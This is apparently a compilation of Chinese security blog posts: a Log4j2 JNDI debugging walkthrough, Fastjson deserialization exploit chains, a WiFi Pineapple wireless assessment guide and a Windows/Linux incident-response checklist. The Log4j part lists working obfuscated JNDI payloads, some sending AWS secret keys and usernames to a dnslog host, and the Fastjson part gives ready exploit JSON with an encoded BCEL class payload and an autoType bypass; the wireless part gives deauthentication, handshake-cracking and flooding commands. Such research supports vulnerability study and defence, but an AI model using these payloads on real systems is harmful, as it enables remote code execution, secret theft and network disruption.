maven环境

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">  <modelVersion>4.0.0</modelVersion>  <groupId>top.lnng.log4j2</groupId>  <artifactId>log4j2</artifactId>  <version>1.0-SNAPSHOT</version>  <packaging>jar</packaging>  <name>log4j2</name>  <url>http://maven.apache.org</url>  <properties>    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>  </properties>  <dependencies>    <dependency>      <groupId>org.apache.logging.log4j</groupId>      <artifactId>log4j-core</artifactId>      <version>2.14.1</version>    </dependency>    <dependency>      <groupId>org.apache.logging.log4j</groupId>      <artifactId>log4j-api</artifactId>      <version>2.14.1</version>    </dependency>    <dependency>      <groupId>junit</groupId>      <artifactId>junit</artifactId>      <version>3.8.1</version>      <scope>test</scope>    </dependency>  </dependencies>  <build>    <plugins>      <plugin>        <groupId>org.apache.maven.plugins</groupId>        <artifactId>maven-compiler-plugin</artifactId>        <configuration>          <source>8</source>          <target>8</target>        </configuration>      </plugin>    </plugins>  </build></project>

log4j2.xml

<?xml version="1.0" encoding="UTF-8"?><configuration status="info">  <Properties>    <Property name="pattern1">[%-5p] %d %c - %m%n</Property>    <Property name="pattern2">      =========================================%n 日志级别：%p%n 日志时间：%d%n 所属类名：%c%n 所属线程：%t%n 日志信息：%m%n    </Property>    <Property name="filePath">logs/myLog.log</Property>  </Properties>  <appenders> <Console name="Console" target="SYSTEM_OUT">    <PatternLayout pattern="${pattern1}"/>  </Console> <RollingFile name="RollingFile" fileName="${filePath}"               filePattern="logs/$${date:yyyy-MM}/app-%d{MM-dd-yyyy}-%i.log.gz">    <PatternLayout pattern="${pattern2}"/>    <SizeBasedTriggeringPolicy size="5 MB"/>  </RollingFile>  </appenders>  <loggers>    <root level="info">      <appender-ref ref="Console"/>      <appender-ref ref="RollingFile"/>    </root>  </loggers></configuration>

测试类

public class App {    public static void main(String[] args) {        Logger logger = LogManager.getLogger(LongFunction.class);        String username = "${jndi:ldap://127.0.0.1:8085/GFxElmpt}";        logger.info("User {} login in!", username);    }}

环境整体结构

调试分析

不停的的下断点定位触发位置
发现i为7的时候有执行

步进查看

判断是否是 Log4j2 的 lookups 功能，我们是有的，继续下走，判断workingBuilder 中是否存在 ${，存在进行截取，然后进行 replace()方法

跟进 replace() 方法看看

一直步进找业务逻辑，substitute前面都是赋值，只需要关心我们payload的变化就行。
while循环读取将 ${} 中间的内容取出来

然后会再次进入substitute，传入的buf没有${}了

步进resolveVariable函数

resolveVariable里面调用了lookup，继续跟进，最终在jndiManager.lookup调用

jndiManager lookup调用this.context的，JndiManagerFactory 来创建 JndiManager

看下JndiManagerFactory

创建InitialContext 实例，返回一个JndiManager对象

JndiManager就是最终触发的位置，后面就是jndi注入的问题了

1. 先判断内容中是否有${}，然后截取${}中的内容，得到我们的恶意payload jndi:xxx
2. 后使用:分割payload，通过前缀来判断使用何种解析器去lookup
3. 支持的前缀包括 date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j

利用payload

${jndi:ldap://127.0.0.1:8085/GFxElmpt}
${jnd${upper:ı}:ldap://[127.0.0.1]]/mESHFnWc} jndi要开389

${jnd${upper:\u0131}:ldap://[127.0.0.1]]/KWhsLxIC}

${${qax:-j${qax-::qax::-n}}${lower:${upper:d}}${upper:ı}:ldap://127.0.0.1:8086/mhStyxHU}
${jndi:ldap://${env:USER}.dnslog.cn}
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.dnslog.cn}
${jndi:ldap://${java:version}.u2xf5m.dnslog.cn}
${bundle:application:spring.datasource.password}

Fastjson的核心目的将json格式数据转换为对象。

1.1 基础使用

将json数据转换为jsonObject，可以更加方便的获取

package org.example;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import com.alibaba.fastjson.serializer.SerializerFeature;public class StudentSerialize {  public static void main(String[] args) {    String a = "{\"age\":123456,\"name\":\"test\"}";    JSONObject parse = JSON.parseObject(a);    System.out.println(parse.getString("age"));    System.out.println(parse.getString("name"));  }}

将json转换为指定对象

package org.example;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import com.alibaba.fastjson.serializer.SerializerFeature;public class StudentSerialize {    public static void main(String[] args) {        String a = "{\"age\":123456,\"name\":\"test\"}";        Student student = JSON.parseObject(a, Student.class);        System.out.println(student.getAge());    }}

支持@type在json数据中指定反序列化的类名称，调用不同的类代码

package org.example;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import com.alibaba.fastjson.serializer.SerializerFeature;public class StudentSerialize {    public static void main(String[] args) {        Student student = new Student();        student.setName("test");        String jsonString = JSON.toJSONString(student, SerializerFeature.WriteClassName);        System.out.println(jsonString);        String a = "{\"@type\":\"org.example.Student\",\"age\":0,\"name\":\"test\"}";        JSONObject jsonObject = JSON.parseObject(a);        System.out.println(jsonObject);    }}

1.2 流程

getDeserializer

根据各种条件选择合适的反序列化器，1.2.24也有一个黑名单，是禁止线程相关类

根据class的类型，来设置asm是否为false，比如必须是public

JavaBeanInfo.build获取beanInfo 根据beanInfo来配置asmEnable

最后根据asmEnable的值来确定使用那个反序列器

由于FastjsonASM无法调试，还是得想办法设置asmEnable为false
https://blog.csdn.net/qq_45854465/article/details/120960671

package org.example;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import com.alibaba.fastjson.parser.ParserConfig;import com.alibaba.fastjson.serializer.SerializerFeature;public class StudentSerialize {    public static void main(String[] args) {        Student student = new Student();        student.setName("test");        String jsonString = JSON.toJSONString(student, SerializerFeature.WriteClassName);        System.out.println(jsonString);        boolean flag;        flag = false;        ParserConfig config = ParserConfig.getGlobalInstance();        config.setAsmEnable(flag);        String a = "{\"@type\":\"org.example.Student\",\"age\":0,\"name\":\"test\"}";        JSONObject jsonObject = JSON.parseObject(a);        System.out.println(jsonObject);    }}

deserializer.deserialze

根据遍历的fieldValue

get方法调用位置，反序列对象后又json

测试

    public void setName(String name) throws IOException {        System.out.println("setName");        Runtime.getRuntime().exec(name);        this.name = name;    }

2.JdbcRowSetImpl 的利用链(fastjson1.2.24)

jdbcRowSetImpl是比较常用的链，利用点是一个jndi注入

先看下变量是否可控，发现下面就是set方法

然后就看怎么才能调用这个connect()方法，findUsages一下

有限看set方法因为set方法在get前调用，上面分析过

这个方法也很简单，也满足上面分析javabeaninfo的要求，直接调用即可。

set开头的方法要求如下：    方法名长度大于4且以set开头，且第四个字母要是大写    非静态方法    返回类型为void或当前类    参数个数为1个    寻找到符合要求的set开头的方法后会根据一定规则提取方法名后的变量名。再去跟这个类的属性去比对    有没有这个名称的属性。    如果没有这个属性并且这个set方法的输入是一个布尔型，会重新给属性名前面加上is，再取头两个字    符，第一个字符为大写（即isNa），去寻找这个属性名。get开头的方法要求如下：    方法名长度大于等于4    非静态方法    以get开头且第4个字母为大写    无传入参数    返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong

综合需要调用两个set方法setAutoCommit和setDataSourceName

        String a = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/mctYqCBt\",\"autoCommit\":false}";        JSONObject jsonObject = JSON.parseObject(a);

缺点:1.因为用的JNDI注入，受JDK版本限制 2.要能出网，不然无法加载远程类

3.com.sun.org.apache.bcel.internal.util利用链(fastjson1.2.24 不出网)

使用的依赖

        <dependency>            <groupId>com.alibaba</groupId>            <artifactId>fastjson</artifactId>            <version>1.2.24</version>        </dependency>        <dependency>            <groupId>org.apache.tomcat</groupId>            <artifactId>tomcat-dbcp</artifactId>            <version>9.0.20</version>        </dependency>

触发位置

先测试一下

package org.example;import com.sun.org.apache.bcel.internal.classfile.Utility;import com.sun.org.apache.bcel.internal.util.ClassLoader;import java.io.*;public class BcelSerialize {    public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {        ClassLoader classLoader = new ClassLoader();        byte[] bytes = fileConvertToByteArray(new File("D:\\Java\\javaproject\\Fastjson\\src\\main\\java\\org\\example\\Evil.class"));        String encode = Utility.encode(bytes, true);        classLoader.loadClass("$$BCEL$$"+encode).newInstance();    }    //将文件转为字节码数组    /**     * 把一个文件转化为byte字节数组。     *     * @return     */    public static byte[] fileConvertToByteArray(File file) {        byte[] data = null;        try {            FileInputStream fis = new FileInputStream(file);            ByteArrayOutputStream baos = new ByteArrayOutputStream();            int len;            byte[] buffer = new byte[1024];            while ((len = fis.read(buffer)) != -1) {                baos.write(buffer, 0, len);            }            data = baos.toByteArray();            fis.close();            baos.close();        } catch (Exception e) {            e.printStackTrace();        }        return data;    }}

encode原因存在decode操作

下一步找的如何调用loadClass，大佬们找的这个类。

这个类里面调用class.forName，如果driverClassName driverClassLoade可控，传入com.sun.org.apache.bcel.internal.util就能调用其loadClass()方法。这里是加载器的知识可以查一下相关知识。
发现均有set方法

就是找哪里调用了createConnectionFactory()

找的get方法调用createDataSource()，此get方法满足Fastjson在jsonobject时调用get方法的规则。

直接构造即可

package org.example;import com.sun.org.apache.bcel.internal.classfile.Utility;import com.sun.org.apache.bcel.internal.util.ClassLoader;import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;import java.io.*;import java.sql.SQLException;public class BcelSerialize {    public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, SQLException {        ClassLoader classLoader = new ClassLoader();        byte[] bytes = fileConvertToByteArray(new File("D:\\Java\\javaproject\\Fastjson\\src\\main\\java\\org\\example\\Evil.class"));        String encode = Utility.encode(bytes, true);//        classLoader.loadClass("$$BCEL$$"+encode).newInstance();        BasicDataSource basicDataSource = new BasicDataSource();        basicDataSource.setDriverClassName("$$BCEL$$"+encode);        basicDataSource.setDriverClassLoader(classLoader);        basicDataSource.getConnection();    }    //将文件转为字节码数组    /**     * 把一个文件转化为byte字节数组。     *     * @return     */    public static byte[] fileConvertToByteArray(File file) {        byte[] data = null;        try {            FileInputStream fis = new FileInputStream(file);            ByteArrayOutputStream baos = new ByteArrayOutputStream();            int len;            byte[] buffer = new byte[1024];            while ((len = fis.read(buffer)) != -1) {                baos.write(buffer, 0, len);            }            data = baos.toByteArray();            fis.close();            baos.close();        } catch (Exception e) {            e.printStackTrace();        }        return data;    }}

测试一下fastjson反序列化

package org.example;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import com.sun.org.apache.bcel.internal.classfile.Utility;import com.sun.org.apache.bcel.internal.util.ClassLoader;import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;import java.io.*;import java.sql.SQLException;public class BcelSerialize {    public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, SQLException {//        ClassLoader classLoader = new ClassLoader();        byte[] bytes = fileConvertToByteArray(new File("D:\\Java\\javaproject\\Fastjson\\src\\main\\java\\org\\example\\Evil.class"));        String encode = Utility.encode(bytes, true);//        classLoader.loadClass("$$BCEL$$"+encode).newInstance();//        BasicDataSource basicDataSource = new BasicDataSource();//        basicDataSource.setDriverClassName("$$BCEL$$" + encode);//        basicDataSource.setDriverClassLoader(classLoader);//        basicDataSource.getConnection();        String DriverClassName = "$$BCEL$$" + encode;        String a = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"DriverClassName\":\"" + DriverClassName + "\",\"DriverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";        System.out.println(a);        JSONObject jsonObject = JSON.parseObject(a);    }    //将文件转为字节码数组    /**     * 把一个文件转化为byte字节数组。     *     * @return     */    public static byte[] fileConvertToByteArray(File file) {        byte[] data = null;        try {            FileInputStream fis = new FileInputStream(file);            ByteArrayOutputStream baos = new ByteArrayOutputStream();            int len;            byte[] buffer = new byte[1024];            while ((len = fis.read(buffer)) != -1) {                baos.write(buffer, 0, len);            }            data = baos.toByteArray();            fis.close();            baos.close();        } catch (Exception e) {            e.printStackTrace();        }        return data;    }}

{"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource","DriverClassName":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeQ$3dO$CA$Q$7d$L$c8r$e7$a9$f8$B$o$7ek$nXx$8d$j$c4$c6$60$p$7eD$88$c6rY7$b8x$dc$91$f3P$fe$91$b5$8d$gM$b4$f7G$Zg$_$GI$d8bg$e7$cd$7bo$s$b3$df$3f$ef$9f$A$f6$b1m$c3$c2$bc$8d$F$e42$c8$9b$b8$c8Q$e0X$b2$91F$91c$99c$85$n$5d$d5$be$8e$O$Y$92$a5$f2$rC$ea0$b8Q$M3u$ed$ab$d3$7e$b7$a5$c2$a6hy$84d$aa$d2$fbcN5$o$n$efND$_$$$91$t$83$dd$I$fa$a1TG$daP$ad$da$83$f6$f6$3a$e2A8$b01$c9$b1$ea$60$N$ebd$$$85$t$jl$60$93a$de$d4$5dO$f8m$b76$90$aa$X$e9$c0g$u$fe$a3$X$7d$3f$d2$5d5$y$g$af$z$86l$Q$b6$5d5$Q$dd$9e$a7$5c$d3$88$a0$7f$d1Y$ab$a3d$c40$3b$e6C3$b6U4Lr$a5r$7d$8cS$a1$R$d5$40I$86$9d$d2H$b5$R$85$daoWF$F$e7a$m$d5$fd$3d$J$K$a3$cc$e6m$Y$3c$9a$a5T$ca$97$d8D$86$3e$c0$9c$E$98Y$E$dd$Oe$ab$U$Z$c5$89$ddW$b0gz$d0F$e9N$c7$60$92D$d3Cj$93r$83$$$be$n1$97$7cA$ea$ea$JS$c7$lH_$93$96$7f$3d$c7E$8b$a8$T$d4$c3$98$e4$e9e$ac$ac$Y$e5$84$d1$d7S$ef$ZB9$Su$8e$acE$a2$d9x$a8$b9_$Do$M$df$x$C$A$A","DriverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"}}

4.fastjson<1.2.47绕过

使用fastjson 1.2.25测试之前payload，发现有个autoType错误

调试对比发现多了config.checkAutoType

看下checkAutoType的流程

大佬们的绕过思路是缓存直接返回
看下怎么给恶意类先加载到map里，查找map.set，发现loadClass中有，也就是加载后会写到map里!

继续查找loadClass的调用位置

发现MiscCodec是一个反序列化器，查看fastjson，其实初始化时使用的到这个反序列器的

所以可以用此方法将恶意类加载到map里，绕过checkAuto限制
看下加载条件，值为var

构造

package org.example;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;public class StudentSerialize {    public static void main(String[] args) {        String a = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/kurnxDiX\",\"autoCommit\":false}}";        JSONObject jsonObject = JSON.parseObject(a);    }}

同理构造bcel，本地没成功，搭建了tomcat环境才成功的

{    "xx":    {        "@type" : "java.lang.Class",        "val"   : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"    },    "x" : {        "name": {            "@type" : "java.lang.Class",            "val"   : "com.sun.org.apache.bcel.internal.util.ClassLoader"        },        {            "@type":"com.alibaba.fastjson.JSONObject",            "c": {                "@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",                "driverClassLoader": {                    "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"                },                "driverClassName":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeQ$3dO$CA$Q$7d$L$c8r$e7$a9$f8$B$o$7ek$nXx$8d$j$c4$c6$60$p$7eD$88$c6rY7$b8x$dc$91$f3P$fe$91$b5$8d$gM$b4$f7G$Zg$_$GI$d8bg$e7$cd$7bo$s$b3$df$3f$ef$9f$A$f6$b1m$c3$c2$bc$8d$F$e42$c8$9b$b8$c8Q$e0X$b2$91F$91c$99c$85$n$5d$d5$be$8e$O$Y$92$a5$f2$rC$ea0$b8Q$M3u$ed$ab$d3$7e$b7$a5$c2$a6hy$84d$aa$d2$fbcN5$o$n$efND$_$$$91$t$83$dd$I$fa$a1TG$daP$ad$da$83$f6$f6$3a$e2A8$b01$c9$b1$ea$60$N$ebd$$$85$t$jl$60$93a$de$d4$5dO$f8m$b76$90$aa$X$e9$c0g$u$fe$a3$X$7d$3f$d2$5d5$y$g$af$z$86l$Q$b6$5d5$Q$dd$9e$a7$5c$d3$88$a0$7f$d1Y$ab$a3d$c40$3b$e6C3$b6U4Lr$a5r$7d$8cS$a1$R$d5$40I$86$9d$d2H$b5$R$85$daoWF$F$e7a$m$d5$fd$3d$J$K$a3$cc$e6m$Y$3c$9a$a5T$ca$97$d8D$86$3e$c0$9c$E$98Y$E$dd$Oe$ab$U$Z$c5$89$ddW$b0gz$d0F$e9N$c7$60$92D$d3Cj$93r$83$$$be$n1$97$7cA$ea$ea$JS$c7$lH_$93$96$7f$3d$c7E$8b$a8$T$d4$c3$98$e4$e9e$ac$ac$Y$e5$84$d1$d7S$ef$ZB9$Su$8e$acE$a2$d9x$a8$b9_$Do$M$df$x$C$A$A"            }        } : "xxx"    }}

本地没成功奇怪，调试了一下发现加载了 com.sun.org.apache.bcel.internal.util.ClassLoader但是在构造javabean的时候，class有值了，会走黑白名单。

不过起tomcat环境成功了，不理解，以后再说吧

本文介绍了无线安全评估的测试方向和测试方法，并采用公司部门常有的wifipineapple设备做测试工具。通过本文的阅读可以学习到wifipineapple更深层的网卡操作，且可作为日常无线安全评估的测试参考。

wifipineapple初始化

连接电源，机器释放一个wifi，连接此wifi

连接访问，初始化密码

http://172.16.42.1:1471/

根据需求初始化

连接管理wifipineapple的wifi啊，这是是test

继续访问http://172.16.42.1:1471/

ssh连接

查看网卡运行状态

iw dev wlan0-1 info

可以发现有三个网卡，对三个网卡的功能进行划定

无线安全基础测试

无线加密测试

测试描述：

本测试旨在评估无线网络的加密设置，以确认网络通信在安全性方面的可靠性。通过对网络的加密配置进行全面的测试，我们可以发现潜在的弱点，并采取适当的措施加固安全性。

测试方法：

1. 设置网卡为监听状态

查看网卡wlan1初始状态为Managed 模式，需切换到Monitor 模式

启动无线网络适配器wlan1的监听模式airmon-ng start wlan1

探测周围的WiFi查看加密方式airodump-ng wlan1mon

安全情况ENC为:WPA2或WPA3

修复建议:

• 使用 WPA2 或更高级别的加密标准，如 WPA3，以提供更强大的数据保护。
• 定期审查和更新网络的加密和身份验证设置，以应对新的安全威胁和漏洞。

无线认证测试

测试描述：

测试通过尝试使用常见密码、字典攻击等方法来猜测Wi-Fi密码，以识别可能存在的弱口令，从而提供改进建议，增强网络的安全性。

测试方法：

无线口令测试根据企业wifi认证类型分为两类，Web 界面认证测试和连接认证测试。

Web 界面认证测试

1. 爆破攻击： 使用工具或脚本对 Web 界面进行爆破攻击，尝试猜测用户名和密码组合。
2. 漏洞扫描： 对 Web 界面进行漏洞扫描，查找可能导致认证绕过或者泄露信息的漏洞。

连接认证测试

小技巧:首先看wifi万能钥匙等密码共享软件是否泄露密码。

1. 无线密码爆破： 使用专门的工具进行无线密码爆破，尝试猜测预共享密钥（PSK）或其他连接密码。

为避免网络检测和减少锁定风险，采用捕获握手包破解方法。握手包捕获是一种基于WPA/WPA2加密协议的密码破解方法，通过截获目标无线网络中的握手包，可以在离线环境中对这些包进行密码爆破。具体原理如下。

操作流程具体如下:

• 寻找一个连接此wifi的客户端、wifi的ssid、信道airodump-ng wlan1mon

• 启动监听测试wifi的ssid和信道airodump-ng --bssid "ssid" -w "文件名称" -c "信道" wlan1mon

• 管理针攻击将其他用户踢下线，触发用户重连获取握手包。aireplay-ng -0 5 -a "ssid" -c "客户端STATION" wlan1mon

• 关闭监听，根据握手包暴力破解密码aircrack-ng -w "弱口令字典" "握手包"

若使用弱口令字典成功爆破出密码则认为不安全。

2. WPS 攻击： 如果目标网络支持 Wi-Fi Protected Setup（WPS），进行 WPS 攻击，尝试破解 PIN 码。

查看目标wifi是否开启WPS，如开启则认为不安全。下面使用wifiPineapple Web界面查看是否开启WPS:

修复建议:

1. 定期更改Wi-Fi密码，防范长期生效的密码攻击。
2. 采用复杂度高的无线密码，包含大小写字母、数字和特殊字符。长密码通常更加安全。
3. WPS可能存在安全漏洞，建议禁用以防范攻击。

空口捕获测试

测试描述：

即在不联网（或者只获取公网IP地址）的情况下，对周围的无线数据进行捕获，以期望从中找到敏感数据，比如认证的手机号密码等。

测试方法：

将网卡置于监听状态即可开始捕获，即这里是在802.11协议网络层面的抓包。使用airodump-ng对目标MAC地址的数据流量进行捕获，捕获一段时间的数据包，具体操作如下所示：

airodump-ng -w “保存地址” -c “信道” –bssid “bssid” wlan1mon

需稍等一会捕获数据

查看捕获文件如果发现敏感信息则认为不安全。

使用Python2启简单http服务，下载下来查看即可。

DDoS攻击测试

测试描述：

对wifi进行拒绝服务攻击，伪造大量的client去连接ap，以验证是否启用了MAC地址过滤功能。

测试方法：

使用mdk3对目标MAC地址进行持续30分钟的DDoS攻击，命令如下：

mdk3 wlan0mon a -a "SSID" -s 1000

如果无线设备仍能正常返回请求，说明具备一定的抗DDoS攻击能力，此项测试安全。

伪AP测试

测试描述：

搭建伪AP，对用户进行欺骗攻击。此处主要用来验证WLAN管理网络中是否有检测伪AP的机制。

测试方法：

打开wifipineapple web界面，配置和被测目标名称一致的SSID即可，记得给客户报备你的MAC地址。

测试半小时内无办公电脑连接。WLAN管理网络中存在检测伪AP的机制，能够及时发现并报告伪AP，则认为安全。

内网渗透测试

测试描述：

模拟黑客成功连接wifi后的测试。测试主要分为两类内网无线未认证状态和内网无线认证状态下的测试。

测试方法：

常规内网测试即可，比如利用nmap、fscan、gorailgun等工具扫描发现内网脆弱风险。

总结

本文主要介绍了wifipineapple在无线安全评估方面的使用方法。wifipineapple可完成基本的无线安全评估，但由于wifipineapple本身系统命令支持较少、系统自带工具少、网卡也不是全部可控、国内教程少，如果您想更深入的进行无线安全评估更推荐您购买Kali Linux免驱无线网卡进行测试和学习。

此文章为博客丢失找回内容可能存在部分内容缺失情况

一、应急响应概念

为应对计算机和网络信息中的突发安全事件前的准备工作和事件后的处置措施

二、应急响应的流程

三、实操排查点

(1)、windows应急响应

1.检查系统账户安全

1.1 已有账号和远程管理端口

检查服务器已有系统或应用账号是否有弱口令，3389端口是否对外公网开放

• 系统管理员账号
• 网站后台账户
• 数据库账户
• FTP
• Tomcat
• phpMyAdmin

查看当前登录账号:query user

使用logoff ID 命令注销已登录用户(会注销到账号登录界面)，当可疑账号出于登录状态时，也可以使用mimikatz抓取密码

1.2 可疑账户、新增账户

检查服务器内是否有可疑账户、新增账户

检查方法: 打开cmd，输入lusrmgr.msc命令，查看是否有新增/可疑的账户

wmic UserAccount get列出当前系统所有账户(与查看lusrmgr结果一样，无法看到隐藏账户)

1.3 查看服务器是否存在隐藏账户、克隆账户

1. 对于添加$符号的隐藏账户

使用下面命令:net localgroup administrators(一般攻击者添加账户为管理组)或计算机管理查看

2. 对于修改注册表的隐藏账户

无法在”计算机管理”中看到，打开注册表，右键权限修改管理员权限

退出注册表从进，查看Users表项目于Names表项中的项数量是否一致或者把这里存在的账户和计算机管理中存在的账户进行比较，多出来的账户就是隐藏账户。直接删除以隐藏账户命名的项。

1.4 工具使用

1. D盾

2. pchunter

2.检查异常端口、进程

2.1 检查端口连接情况，是否有远程连接、可疑连接

1. 端口状态查看

管理员权限下:netstat -anob查看占用端口的应用情况

-a 显示所有连接和监听端口。
-b 显示包含于创建每个连接或监听端口的可执行组件。在某些情况下已知可执行组件拥有多个独立组件，并且在这些情况下包含于创建连接或监听端口的组件序列被显示。这种情况下，可执行组件名在底部的 [] 中，顶部是其调用的组件等等，直到 TCP/IP部分。注意此选项可能需要很长时间，如果没有足够权限可能失败。

-n 以数字形式显示地址和端口号。
-o 显示与每个连接相关的所属进程 ID。

2. 查看路由表

netstat -rn

-r 显示路由表

3. 进程定位

根据netstat定位出pid，再通过tasklist命令进行进程定位

tasklist | findstr "pid"

4. 防火墙配置

控制面板–>windows防火墙–>高级设置 入站策略和出站策略 查看防火墙入站和出站规则

命令netsh firewall show all

5. 工具使用

PChunter、火绒剑、DNSQuerySniffer

使用火绒剑、PChunter查看网络连接

PChunter:

火绒剑: 可着重查看 未知文件，远程地址为 外部地址，状态为 ESTABLISHED、LISTEN的连接，另外需要注意模块路径是否正确。

DNSQuerySniffer:DNS解析查询工具。可以通过此工具确定访问恶意域名的端口，该工具还可以将访问过的所有域名记录下来，重点关注红色记录的端口、响应代码、A记录(双击查看)

2.2 检查进程

1. 没有签名验证信息的进程

2. 没有描述信息的进程

3. 进程的属主

4. 进程的路径

5. 进程的占用

a、cmd查看

tasklist /? 查看tasklist 命令的使用

查看进程对应的服务

tasklist /svc

查看指定进程对应详情

tasklist /svc |findstr pid

查看加载的DLL进程 查看DLL劫持

tasklist /m |findstr pid

b、powershell 查看进程

get-process

c、系统应用查看

开始输入msinfo

d、工具排查

没有厂商名称、没有签名信息、没有描述信息、CPU占用高

Pchunter:

黑色为微软官方进程、蓝色为外界进程、红色为可疑进程

ProcessExplorer(微软官方):

3.检查启动项目、计划任务、服务

3.1 开机启动项目

1. windows7 启动目录

windows10:

开始菜单启动项:C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

cmd:

系统自动启动的的目录： shell:Common Startup
用户自动启动的的目录： shell:Startup

2. 任务管理器”启动”列表

   在任务管理器里查看

3. 注册表内启动项

WIN+R 输入 regedit，打开注册表，查看开机启动项是否正常，有异常删除，并安装杀毒软件进行病毒查杀，清楚残留病毒或木马

计算机\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

重启就会被清空

计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer

计算机\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

排查发现计划任务可以计算MD5值看该进程与启动项是否一致

certutil -hashfile file md5

防止攻击者替换启动项目文件

4. 组策略编辑器

运行gpedit.msc

5. 工具排查

pchunter:

Autoruns 微软官方: 黄色红色比较可疑

WMI后门:无文件，相对难排查

3.2 计划任务

taskschd.msc，查看计划任务属性，查看疑似木马文件的路径

CMD schtasks.exe

3.3 服务

1. 服务自启动检查

2. 进程注入

cs进程注入:

上线成功:

ProcessExplorer(微软官方):

火绒剑:

4.检查系统相关信息及文件排查

4.1 查看系统信息

1. msinfo32

重点看正在运行的任务、服务、系统驱动程序、加载的模块、启动程序

4.2 查看可疑目录文件

1. 可疑进程 cpu利用率 进程名 时间—->文件

powershell:Get-ChildItem

cmd:dir dir /r 隐藏文件 dir /x 短文件名

Everything:

c: <*.exe | *.bat> dm:2022/11/10-2022/11/22 size:>1mb

C: 表示盘符，如果是 C 盘、D 盘，对应的修改就行了。

<*.exe | *.bat>, 表示任意的以 .exe 或 .bat 结尾的文件，* 为通配符。

dm:2022/11/10-2022/11/22 表示修改时间为2022/11/10-2022/11/22间的文件，这里要与系统设置的时间格式保持一致，如果是月份在前，那这里也相应的修改一下。

size:>1mb:设置文件大小

2. 注册表查看已安装应用程序目录:

计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\

3. 查看用户目录

新建账户会在这个目录生成一个用户目录，查看是否有新建用户目录。就是c盘用户目录一般几个用户就会有几个文件夹。

windows 2000/xp/2003 C:\Documents and Settings

4. 其他位置文件

回收站、浏览器下载目录(c盘下载和浏览器默认下载路径)、浏览器历史记录、系统临时文件、浏览器cookie信息

5. 时间

修改时间早于创建时间

(2)、Linux 应急响应

1. 进程

1.1 查看占用大量CPU/RAM的进程

top

1.2 进程树

ps -auxwf

1.3 开放的网络端口

netstat -nalpss -a -e -ilsof [many opitons]

1.4 查找被删除但还在运行的程序

ls -alR /proc/*/exe 2> /dev/null |grep deleted

1.5 进程相关名称及命令

strings /proc/<PID>/commstrings /proc/<PID>/cmdline

1.6 进程实际路径

ls -al /proc/<PID>/exe

1.7 进程执行时环境变量

strings /proc/<PID>/environ

1.8 查看所有进程执行目录

ls -alR /proc/*/cwd

1.9 查看在tmp dev 目录下执行的程序

ls -alR /proc/*/cwd 2> /dev/null | grep tmpls -alR /proc/*/cwd 2> /dev/null | grep dev

2. 目录

需要检查的目录

/tmp, /var/tmp, /dev/shm, /var/run,/var/spool, user home directories

常用命令:

ls -alp path

查找隐藏文件:

find / -d -name ".*"

3. 文件

查找设置属性为不可修改的文件

lsattr / -R 2> /dev/null | grep "\----i"

查找设置为SUID/SGUID的文件

find / -type f \( -perm -04000 -o -perm -02000 \) -exec ls -lg {} \;

查找没有用户/组名称的文件

find / \( -nouser -o -nogroup \) -exec ls -lg {} \;

列出当前目录中的所有文件类型

file * -p

查找可执行文件

find / -type f -exec file -p '{}' \; | grep ELFfind /tmp -type f -exec file -p '{}' \; | grep ELF 

最近一天有修改(modified/created)的文件

find / -mtime -1

可存放后门持久化的目录

/etc/rc.local, /etc/initd, /etc/rc*.d, /etc/modules, /etc/cron*, /var/spool/cron/*

查找已经修改的包文件

rpm -Va | grep ^..5.debsums -c

4. 用户

查找所有ssh公钥文件

find / -name authorized_keys

查找所有用户历史日志文件

find / -name .*history

查找历史日志文件重定向到/dev/null

ls -alR / 2> /dev/null | grep .*history | grep null

查看root用户/组

grep ":0:" /etc/passwd

检测sudoers 文件

cat /etc/sudoerscat /etc/group

检查计划任务

crontab -latqsystemctl list-timers --all

5. 日志

查找大小为0的文件

ls -al /var/log/*

审计登录日志

utmpdump /var/log/wtmputmpdump /var/run/utmputmpdump /var/log/btmplastlastb

查找包含有二进制文件的日志

